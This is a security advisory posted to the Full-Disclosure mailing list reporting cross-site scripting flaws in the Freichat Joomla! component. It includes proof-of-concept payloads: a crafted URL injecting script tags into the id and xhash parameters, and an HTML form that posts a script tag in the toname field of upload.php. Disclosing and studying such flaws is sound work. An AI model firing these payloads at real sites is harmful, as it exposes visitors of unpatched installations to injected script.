Hello,
Multiple cross-site scripting (XSS) vulnerabilities in Freichat
component for Joomla! allow remote attackers to inject
arbitrary web script or HTML code via (1) the id or xhash parameters to
/client/chat.php or (2) the toname parameter to
/client/plugins/upload/upload.php.
File: /client/chat.php
Line: 53
POC:
http://site/client/chat.php?id=1";
></script><script>alert('XSS
1')</script>&xhash=1" <script>alert('XSS
2')</script>
File: /client/plugins/upload/upload.php
Line: 91
POC:
</style>
<body>
<div
class="frei_upload_border">
<form name="upload"
action="http://site/client/plugins/upload/upload.php";
method="post" enctype="multipart/form-data">
<label
for="file">choose file to send</label><br/><br/>
<input id ="fromid"
type="hidden" name="fromid"/>
<input id="fromname"
type="hidden" name="fromname"/>
<input id="toid"
type="hidden" name="toid"/>
<!--
<input id="toname" type="hidden"
name="toname"/> -->
<input id="toname"
type="hidden" name="toname"
value="<script>alert('XSS')</script>"/>
<input type="file"
name="file" id="file" value="a.jpeg" />
<br /><br/>
<input class ="frei_upload_button"
type="submit" name="submit" value="Send" />
</form>
</div>
</body></html>
Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of
Technology's Scientific Excellence and Research Centers.
Best Regards.
Attachment:
Freichat XSS Vulnerabilities Report.docx
Description: application/vnd.openxmlformats-officedocument.wordprocessingml.document
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/